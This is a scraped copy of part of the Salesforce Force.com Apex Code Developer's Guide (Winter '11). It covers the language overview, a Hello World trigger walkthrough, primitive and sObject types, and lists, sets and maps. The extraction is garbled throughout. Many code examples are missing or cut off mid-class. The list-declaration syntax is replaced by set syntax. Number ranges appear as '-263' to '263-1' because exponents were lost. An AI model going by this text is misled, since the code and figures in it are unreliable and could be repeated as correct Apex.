Académique Documents
Professionnel Documents
Culture Documents
0: Winter '11
Table of Contents
i
Table of Contents
Querying All Records with a SOQL Statement..............................................................................................62
Locking Statements.....................................................................................................................................................62
Locking in a SOQL For Loop........................................................................................................................62
Avoiding Deadlocks.........................................................................................................................................62
Transaction Control.....................................................................................................................................................63
Exception Statements..................................................................................................................................................64
Throw Statements...........................................................................................................................................64
Try-Catch-Finally Statements.........................................................................................................................64
ii
Table of Contents
Using the with sharing or without sharing Keywords....................................................................................109
Annotations...............................................................................................................................................................111
Future.............................................................................................................................................................111
IsTest.............................................................................................................................................................112
Deprecated.....................................................................................................................................................113
Classes and Casting...................................................................................................................................................113
Classes and Collections..................................................................................................................................115
Collection Casting.........................................................................................................................................115
Differences Between Apex Classes and Java Classes.................................................................................................115
Class Definition Creation..........................................................................................................................................116
Naming Conventions.....................................................................................................................................117
Name Shadowing...........................................................................................................................................118
Class Security............................................................................................................................................................118
Namespace Prefix......................................................................................................................................................119
Using Namespaces When Invoking Methods................................................................................................119
Namespace, Class, and Variable Name Precedence........................................................................................119
Type Resolution and System Namespace for Types.......................................................................................120
Version Settings.........................................................................................................................................................120
Setting the Salesforce.com API Version for Classes and Triggers.................................................................121
Setting Package Versions for Apex Classes and Triggers...............................................................................122
iii
Table of Contents
Sharing a Record Using Apex........................................................................................................................161
Recalculating Apex Managed Sharing...........................................................................................................165
iv
Table of Contents
Update Operation..........................................................................................................................................223
Upsert Operation...........................................................................................................................................225
sObjects That Do Not Support DML Operations........................................................................................229
sObjects That Cannot Be Used Together in DML Operations.....................................................................230
Bulk DML Exception Handling...................................................................................................................231
Apex Standard Classes and Methods........................................................................................................................231
Primitives Methods........................................................................................................................................232
Apex Collection Methods..............................................................................................................................252
Enum Methods..............................................................................................................................................263
sObject Methods...........................................................................................................................................264
System Methods............................................................................................................................................285
Using Exception Methods.............................................................................................................................319
Apex Classes..............................................................................................................................................................321
Apex Email Classes........................................................................................................................................322
Exception Class.............................................................................................................................................335
Visualforce Classes.........................................................................................................................................337
Pattern and Matcher Classes.........................................................................................................................362
HTTP (RESTful) Services Classes...............................................................................................................373
XML Classes.................................................................................................................................................384
Apex Approval Processing Classes.................................................................................................................396
BusinessHours Class......................................................................................................................................400
Apex Community Classes..............................................................................................................................402
Site Class.......................................................................................................................................................406
Cookie Class..................................................................................................................................................410
Apex Interfaces..........................................................................................................................................................412
Site.UrlRewriter Interface.............................................................................................................................412
Appendices.............................................................................................................................427
v
Table of Contents
Cross Site Scripting (XSS).............................................................................................................................440
Unescaped Output and Formulas in Visualforce Pages..................................................................................442
Cross-Site Request Forgery (CSRF).............................................................................................................443
SOQL Injection.............................................................................................................................................444
Data Access Control......................................................................................................................................446
Appendix D: Web Services API Calls and SOAP Headers for Apex...................................447
compileAndTest()..........................................................................................................................................447
compileClasses()............................................................................................................................................451
compileTriggers()...........................................................................................................................................452
executeanonymous().......................................................................................................................................453
runTests().......................................................................................................................................................454
DebuggingHeader.........................................................................................................................................459
PackageVersionHeader..................................................................................................................................461
Glossary..................................................................................................................................462
Index....................................................................................................................................................479
vi
Chapter 1
Introducing Force.com Apex Code
In this chapter ... Over the past several years, salesforce.com has changed the way organizations
do business by moving enterprise applications that were traditionally
• What is Apex? client-server-based into an on-demand, multitenant Web environment. This
• What's New? environment, the Force.com platform, allows organizations to run and customize
• Apex Quick Start applications, such as Salesforce.com Automation and Service & Support, and
build new custom applications based on particular business needs.
While many customization options are available through the Salesforce.com user
interface, such as the ability to define new fields, objects, workflow, and approval
processes, developers can also use the Web services API to issue data manipulation
commands such as delete(), update() or upsert(), from client-side
programs.
These client-side programs, typically written in Java, JavaScript, or .NET, grant
organizations more flexibility in their customizations. However, because the
controlling logic for these client-side programs is not located on Force.com
platform servers, they are restricted by:
• The performance costs of making multiple round-trips to the salesforce.com
site to accomplish common business transactions
• The lack of transactional control across API requests
• The cost and complexity of hosting server code, such as Java or .Net, in a
secure and robust environment
To address these issues, and to revolutionize the way that developers create
on-demand applications, salesforce.com introduces Force.com Apex code, the
first multitenant, on-demand programming language for developers interested
in building the next generation of business applications.
• What is Apex?—more about when to use Apex, the development process,
and some limitations
• What's new in this Apex release?
• Apex Quick Start—delve straight into the code and write your first Apex
script
For more advanced developers, see the Apex Design Patterns on page 123.
7
Introducing Force.com Apex Code What is Apex?
What is Apex?
Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and
transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax
that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system
events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service
requests and from triggers on objects.
8
Introducing Force.com Apex Code How Does Apex Work?
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax,
loop syntax, object and array notation, pass by reference, and so on. Where Apex introduces new elements, it uses syntax
and semantics that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex
produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com
platform server, much as developers use database stored procedures to thread together multiple transaction statements
on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support
for rendering elements in the user interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails
quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata
to ensure they are not deleted while required by active Apex scripts.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime
engine is designed to guard closely against runaway scripts, preventing them from monopolizing shared resources. Any
scripts that violate these limits fail with easy-to-understand error messages.
Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code
is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system.
Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code
is covered, and which parts of your code could be more efficient. Salesforce.com ensures that scripts always work as
expected by executing all unit tests stored in metadata prior to any platform upgrades.
Versioned
You can save your Apex scripts against different versions of the Force.com API. This enables you to maintain behavior.
9
Introducing Force.com Apex Code What is the Apex Development Process?
Figure 2: Apex code is compiled, stored, and run entirely on the Force.com platform.
When a developer writes and saves an Apex script to the platform, the platform application server first compiles the code into
an abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as
metadata.
When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform
application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before
returning the result. The end-user observes no differences in execution time from standard platform requests.
10
Introducing Force.com Apex Code What is the Apex Development Process?
Note: Apex triggers are available in the Trial Edition of Salesforce.com; however, they are disabled when you convert
to any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization
using one of the deployment methods.
You cannot develop Apex in your Salesforce.com production organization. Live users accessing the system while you are
developing can destabilize your data or corrupt your application. Instead, salesforce.com recommends that you do all your
development work in either a sandbox or a Developer Edition organization.
If you are not already a member of the developer community, go to http://developer.force.com/join and follow the
instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition organization. Even if you already have an Enterprise or Unlimited Edition organization and a sandbox for creating
Apex, salesforce.com strongly recommends that you take advantage of the resources available in the developer community.
Note: You cannot make changes to Apex using the Salesforce.com user interface in a Salesforce.com production
organization.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex:
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials
are centered around building a very simple warehouse management system. You'll start developing the application from
the bottom up; that is, you'll first build a database model for keeping track of merchandise. You'll continue by adding
business logic: validation rules to ensure that there is enough stock, workflow to update inventory when something is
sold, approvals to send email notifications for large invoice values, and trigger logic to update the prices in open invoices.
Once the database and business logic are complete, you'll create a user interface to display a product inventory to staff,
a public website to display a product catalog, and then the start of a simple store front. If you'd like to develop offline
and integrate with the app, we've added a final tutorial to use Adobe Flash Builder for Force.com.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating
Visualforce pages. The Force.com Cookbook helps developers become familiar with common Force.com programming
techniques and best practices. You can read and comment on existing recipes, or submit your own recipes, at
developer.force.com/cookbook.
11
Introducing Force.com Apex Code What is the Apex Development Process?
Training Courses
Training classes are also available from salesforce.com Training & Certification. You can find a complete list of courses
at www.salesforce.com/training.
Writing Apex
You can write Apex scripts and tests in any of the following editing environments:
• The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and
deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate
Force.com application development, including source code editors, test execution tools, wizards and integrated help. This
tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message
display. See the website for information about installation and usage.
• The Salesforce.com user interface. All scripts are compiled when they are saved, and any syntax errors are flagged. You
cannot save your code until it compiles without errors. The Salesforce.com user interface also numbers the lines in a script,
and uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on.
- For a trigger on a standard object, click Your Name ➤ Setup ➤ Customize, click the name of the object, and click
Triggers. In the Triggers detail page, click New, and then enter your code in the Body text box.
- For a trigger on a custom object, click Your Name ➤ Setup ➤ Develop ➤ Objects, and click the name of the object.
In the Triggers related list, click New, and then enter your code in the Body text box.
- For a class, click Your Name ➤ Setup ➤ Develop ➤ Apex Classes. Click New, and then enter your code in the Body
text box.
Note: You cannot make changes to Apex using the Salesforce.com user interface in a Salesforce.com production
organization.
• Any text editor, such as Notepad. You can write your Apex script, then either copy and paste it into your application, or
use one of the API calls to deploy it.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the Web services API includes
methods for compiling triggers and classes, and executing test methods, while the Metadata API includes methods
12
Introducing Force.com Apex Code What is the Apex Development Process?
for deploying code to production environments. For more information, see Deploying Apex Scripts on page 420 and
Web Services API Calls and SOAP Headers for Apex on page 447.
Writing Tests
Testing is the key to successful long term development, and is a critical component of the development process. salesforce.com
strongly recommends that you use a test-driven development process, that is, test development that occurs at the same time as
code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true:
• 75% of your Apex code must be covered by unit tests, and all of those tests complete successfully.
Note the following:
- When deploying to a production organization, every unit test in your organization namespace is executed.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.
- While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.
13
Introducing Force.com Apex Code When Should I Use Apex?
You can also use the compileAndTest API call to deploy Apex to a Salesforce.com production organization.
For more information, see Deploying Apex Scripts on page 420.
Apex
Use Apex if you want to:
• Create Web services
• Create email services
• Perform complex validation over multiple objects
• Create complex business processes that are not supported by workflow
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object)
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed,
regardless of whether it originates in the user interface, a Visualforce page, or from the Web Services API
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and
customizing the Salesforce.com user interface. With Visualforce you can:
• Build wizards and other multistep processes
• Create your own custom flow control through an application
• Define navigation patterns and data-specific rules for optimal, efficient application interaction
For more information, see the Visualforce Developer's Guide.
14
Introducing Force.com Apex Code What are the Limitations of Apex?
See Also:
Understanding Execution Governors and Limits
Apex Design Patterns
What's New?
Review the Winter '11 Release Notes for a summary of new and changed Apex features in the Winter '11 release.
15
Introducing Force.com Apex Code Documentation Typographical Conventions
Note: The Hello World script and the shipping invoice example require custom fields and objects. You can either
create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com
AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.
Convention Description
Courier font In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld
Italics In description of syntax, italics represent variables. You supply the actual value. In the
following example, three values need to be supplied: datatype variable_name [ =
value];
If the syntax is bold and italic, the text represents a code element that needs a value
supplied by you, such as a class name or variable value:
<> In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as
shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
| In descriptions of syntax, the pipe sign means “or”. You can do one of the following
(not all). In the following example, you can create a new unpopulated set in one of two
ways, or you can populate the set:
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype{value [, value2. . .] };] |
;
16
Introducing Force.com Apex Code Understanding Apex Core Concepts
The section describes the basic functionality of Apex, as well as some of the core concepts.
For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce.com
online help.
17
Introducing Force.com Apex Code Understanding Apex Core Concepts
Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
Also note that all primitive variables are passed by value, while all non-primitive data types are passed by reference.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops
- Do-while
- While
- For
• Locking
• Data Manipulation Language (DML)
• Transaction Control
• Method Invoking
• Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
18
Introducing Force.com Apex Code Understanding Apex Core Concepts
} else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements
is important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly
typed, you must declare the data type of My_List as a list of Integer.
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype{value [, value2. . .] };] |
;
19
Introducing Force.com Apex Code Understanding Apex Core Concepts
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the
values for the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax
is as follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same
thing again and again based on a condition. Apex supports the following types of loops:
• Do-while
• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition Apex supports traditional For
loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
20
Introducing Force.com Apex Code Writing Your First Apex Script
This image shows the empty Hello field on an Account detail page after an account is created:
To automatically update this field with the value “World,” click Your Name ➤ Setup ➤ Develop ➤ Apex Classes, click
New, and then enter the following code in the Body text box.
// This class updates the Hello field on account records that are
// passed to it.
public class MyHelloWorld {
Apex scripts are generally contained in classes. This class is defined as public, which means the class is available to other
Apex scripts. For more information, see Classes, Objects, and Interfaces on page 86.
21
Introducing Force.com Apex Code Writing Your First Apex Script
This method is called addHelloWorld, and is both public and static. Because it is a static method, you do not need to create
an instance of the class in order to access the method—you can just use the name of the class followed by a dot (.) and the
name of the method. For more information, see Static and Instance on page 95.
This method takes one parameter, a list of Account records, which is assigned to the variable accs.
The next section of code contains the rest of the method definition:
Notice the __c after the field name—Hello__c. This indicates that it is a custom field, that is, a field you created. Standard
fields that are provided by default in Salesforce.com are accessed using the same type of dot notation but without the __c, for
example, Account.name.
To run this piece of code, this example uses an Apex component called a trigger. A trigger is a piece of code that executes
before or after records of a particular type are inserted, updated, or deleted from the Force.com platform database. Every trigger
runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk,
that is, they process several records at once.
The following trigger is associated with the Account object and calls the addHelloWorld method we defined in the
HelloWorld class. To add this trigger to your organization, click Your Name ➤ Setup ➤ Customize ➤ Accounts ➤
Triggers, click New, and then type in the following code, replacing what is automatically generated by the template:
MyHelloWorld.addHelloWorld(accs);
}
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example,
this trigger runs before new account records are inserted into the database.
The next line in the trigger creates a list of account records named accs and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers, and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new accounts that are about to be
inserted.
The next line in the code calls the method addHelloWorld in the MyHelloWorld class. It passes in the array of new accounts.
MyHelloWorld.addHelloWorld(accs);
22
Introducing Force.com Apex Code Writing Your First Apex Script
Because this code runs on the before insert trigger event, you need to create a new record to run your code. To do so,
click the Accounts tab, and then click New to create a new account. The only required field is the name. After you click Save,
the Hello field is now populated with the value, “World”.
@isTest
private class HelloWorldTestClass {
// Retrieve account
a = [SELECT hello__c FROM account WHERE Id =:a.id];
23
Introducing Force.com Apex Code Writing Your First Apex Script
The method validateHelloWorld is defined as a testMethod. This means that if any changes are made to the database,
they are automatically rolled back when execution is complete.
First the test method creates a new account and inserts it into the database temporarily.
Once the account is inserted, the code retrieves the account, using the ID that was initially assigned to the account when it
was inserted:
// Retrieve account
a = [SELECT hello__c FROM account WHERE Id =:a.id];
When the HelloWorld class runs, it is supposed to insert the word “World” into the hello__c field. The following line is
the actual test, verifying that the method addHelloWorld actually ran, and produced the expected results:
To run this unit test, click Your Name ➤ Setup ➤ Develop ➤ Apex Classes, click the name of the class,
HelloWorldTestClass, then click Run Test.
The result page for running unit tests contains the following sections. Each section can be expanded or collapsed.
• A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that
are covered by unit tests.
Important:
- You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production
environments. In addition, all triggers should have some test coverage.
- Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.
Category Level
Database INFO
Apex Code FINE
Apex Profiling INFO
Workflow INFO
24
Introducing Force.com Apex Code Writing Your First Apex Script
Category Level
Validation INFO
25
Chapter 2
Language Constructs
In this chapter ... The following language constructs form the base parts of Apex:
26
Language Constructs Data Types
Data Types
In Apex, all variables and expressions have a data type that is one of the following:
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page
27)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c
(see sObject Types on page 30)
• A collection, including:
- A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists
on page 33)
- A set of primitives (see Sets on page 35)
- A map from a primitive to a primitive, sObject, or collection (see Maps on page 36)
• A typed list of values, also known as an enum (see Enums on page 38)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 86)
• Objects created from system supplied Apex classes (see Apex Classes on page 321)
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer
is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line
number and column of the error. For more information, see Debugging Apex on page 171.
Date A value that indicates a particular day. Unlike Datetime values, Date values contain no
information about time. Date values must always be created with a system static method.
You cannot manipulate a Date value, such as add days, merely by adding a number to a Date
variable. You must use the Date methods instead.
Datetime A value that indicates a particular day and time, such as a timestamp. Datetime values must
always be created with a system static method.
You cannot manipulate a Datetime value, such as add minutes, merely by adding a number
to a Datetime variable. You must use the Datetime methods instead.
27
Language Constructs Primitive Data Types
Double A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and
a maximum value of 263-1. For example:
Double d=3.14159;
ID id='00300000003T2PGAA0';
Note that if you set ID to a 15-character value, Apex automatically converts the value to its
18-character representation. All invalid ID values are rejected with a runtime exception.
Integer A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;
Long A 64-bit number that does not include a decimal point. Longs have a minimum value of -263
and a maximum value of 263-1. Use this datatype when you need a range of values wider than
those provided by Integer. For example:
Long l = 2147483648L;
String size: Strings have no limit on the number of characters they can include. Instead, the
heap size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules
as in the Web services API: they can never be empty (only null), and they can never include
leading and trailing whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty, and can include leading and trailing
whitespace (such as might be used to construct a message).
28
Language Constructs Primitive Data Types
In the following example, when the Solution displays on a detail page, the SolutionNote field
only contains HelloGoodbye:
For more information, see “What are HTML Solutions?” in the Salesforce.com online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
Comparison Operators: Unlike Java, Apex Strings support use of the comparison operators
==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings
are collated according to the context user's locale, and `are not case sensitive. For more
information, see Operators on page 43.
String Methods: As in Java, Strings can be manipulated with a number of standard methods.
See String Methods for information.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a
runtime error if you assign a String value that is too long for the field.
Time A value that indicates a particular time. Time values must always be created with a system
static method. See Time Methods on page 251 for information.
In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static
methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is
used within the Force.com platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely
within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any
other type of Apex.
For more information on the AnyType data type, see
www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm in the Web Services API
Developer's Guide.
29
Language Constructs sObject Types
sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An
sObject variable represents a row of data and can only be declared in Apex using the Web services API name of the object.
For example:
Similar to the Web services API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject
data type can be used in code that processes different types of sObjects. sObjects are always passed by reference in Apex.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
You can also use casting between the generic sObject type and the specific sObject type. For example:
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject.
For example:
For information on accessing existing sObjects from the Force.com platform database, see SOQL and SOSL Queries on page
56.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared
during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically
when an object record is initially inserted to the database for the first time. For more information see Lists on page
33.
Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value
of a custom label using system.label.label_name. For example:
30
Language Constructs sObject Types
For more information on custom labels, see “Custom Labels Overview” in the Salesforce.com online help.
System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user
cannot be changed.
If you use the generic sObject type, instead of a specific object such as Account, you can only retrieve the ID field. For example:
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts
and person accounts. If your script creates a new account using name, a business account is created. If the script uses
LastName, a person account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have
converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
31
Language Constructs sObject Types
Note: The expression c.account.name, as well as any other expression that traverses a relationship, displays slightly
different characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.account is null, then c.account.name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium
of having to check for null values.
• When being modified, if c.account is null, then c.account.name does yield a NullPointerException.
32
Language Constructs Collections
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For
example:
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no
such account, the insert fails.
Tip:
The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If
this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries.
For more information on execution limits, see Understanding Execution Governors and Limits on page 184.
Insert c;
Collections
Apex has the following types of collections:
• Lists
• Maps
• Sets
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
Lists
A list is an ordered collection of typed primitives, sObjects, user-defined objects, Apex objects or collections that are distinguished
by their indices. For example, the following table is a visual representation of a list of Strings:
33
Language Constructs Collections
To access elements in a list, use the system methods provided by Apex. For example:
For more information, including a complete list of all supported methods, see List Methods on page 252.
Using Array Notation for One-Dimensional Lists of Primitives or sObjects
When using one-dimensional lists of primitives or sObjects, you can also use more traditional array notation to declare and
reference list elements. For example, you can declare a one-dimensional list of primitives or sObjects by following the data or
sObject type name with the [] characters:
To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the
element's index position in square brackets. For example:
colors[3] = 'Green';
34
Language Constructs Collections
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example Description
List<Integer> ints = new Integer[0]; Defines an Integer list with no elements
List<Integer> ints = new Integer[6]; Defines an Integer list with memory allocated for six Integers
List<Account> accts = new Account[] Defines an Account list with memory allocated for three
{new Account(), null, new Accounts, including a new Account object in the first position,
Account()}; null in the second position, and another new Account object
in the third position
List<Contact> contacts = new List<Contact> Defines the Contact list with a new list
(otherList);
Lists of sObjects
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the
database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted
if it contains the same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need
to be written to the same structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a
list with two references to the same sObject (a):
try {
For more information on DML statements, see Apex Data Manipulation Language (DML) Operations on page 212.
You can use the generic sObject data type with lists. You can also create a generic instance of a list.
Sets
A set is an unordered collection of primitives or sObjects that do not contain any duplicate elements. For example, the following
table represents a set of String, that uses city names:
35
Language Constructs Collections
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()
Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step
To access elements in a set, use the system methods provided by Apex. For example:
Uniqueness of sObjects is determined by comparing fields. For example, if you try to add two accounts with the same name
to a set, only one is added.
For more information, including a complete list of all supported set system methods, see Set Methods on page 260.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations
(for example, HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned
by sets may change without warning.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys can be any primitive data type,
while values can be a primitive, sObject, collection type or an Apex object. For example, the following table represents a map
of countries and currencies:
36
Language Constructs Collections
Similar to lists, map values can contain any collection, and can be nested within one another. For example, you can have a
map of Integers to maps, which, in turn, map Strings to lists. A map can only contain up to five levels of nested collections
inside it.
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
You can use the generic sObject data type with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is d. In the second, the key 1 has the value of the
list accs.
To access elements in a map, use the system methods provided by Apex. For example:
For more information, including a complete list of all supported map system methods, see Map Methods on page 257.
Note the following limitations on maps:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations
(for example, HashMap or TreeMap). Apex uses a hash structure for all maps.
• Do not rely on the order in which map results are returned. The order of objects returned by maps may change without
warning. Always access map elements by key.
In the example, the SOQL query returns a list of contacts with their id and lastname fields. The new operator uses the list
to create a map. For more information, see SOQL and SOSL Queries on page 56.
37
Language Constructs Enums
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not
supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes
them.
Adding Elements During Iteration
To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the
original after you finish iterating the collection.
Removing Elements During Iteration
To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the
elements you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note:
The List.remove method performs linearly. Using it to remove elements has time and resource implications.
